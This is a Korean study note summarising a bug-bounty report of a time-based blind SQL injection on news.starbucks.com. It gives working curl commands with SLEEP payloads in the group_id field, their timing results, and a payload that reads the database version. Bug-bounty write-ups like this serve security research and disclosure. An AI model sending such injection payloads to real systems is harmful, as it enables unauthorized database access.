hackerone-starbucks-2017-02-h-198292
Time-based Blind SQLi on news.starbucks.com
POST body의 group_id에서 SQLi가 일어났다. ACT가 특정 숫자일 때 가능했다.
ACT 파라미터를 변경하면 다른 반응을 보이는 것을 보고, 여러가지 숫자를 넣어 테스트했다.
55와 56을 넣었을 때 흥미로운 에러 반응이 나왔다.
이 에러 메시지를 searchcode.com 에 넣어 찾아보니 PHP 파일이 나왔다.
이 코드는 대상 프로그램의 CMS에서 사용하는 CMS에서 사용하는 플러그인이라고 추측할 수 있었다.
ACT 파라미터는 CMS에서 사용하는 함수를 호출하는 데 사용되는 파라미터같았다.
그리고 이 코드에서 다른 파라미터인 group_id를 이용하는 쿼리를 찾았다.
이렇게 소스코드를 읽고 페이로드를 깎았다.
ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=1,SLEEP(1),0) AND group_id='1
time 명령어와 함께 curl을 하여 시간 측정 결과를 보여주었다.
time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=1,SLEEP(1),0) AND group_id='1" https://news.starbucks.com
real 0m4.945s
user 0m0.000s
sys 0m0.063s
time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=2,SLEEP(1),0) AND group_id='1" https://news.starbucks.com
real 0m0.860s
user 0m0.000s
sys 0m0.031s
if 조건이 false가 되어 sleep을 안 하게 하면 더 빨리 반응하는 것을 보여준다.
time based SQLi로 버전을 알아내었다. MID 명령어는 SUBSTR과 같다.
time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(MID(VERSION(),1,1)='5',SLEEP(1),0) AND group_id='1" https://news.starbucks.com
real 0m4.945s
time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(MID(VERSION(),1,1)='4',SLEEP(1),0) AND group_id='1" https://news.starbucks.com
real 0m1.005s
프로그램 측에서 재현을 잘 못 하자 여러가지 설명을 첨부했다.
sqlmap을 이용하여 결과를 뽑아 보여주었다.
https://timeofcheck.com/time-based-blind-sqli-on-news-starbucks-com/
tags: wstg-inpv-05, bughunting, sqli, time-based-sqli, severity high, web hacking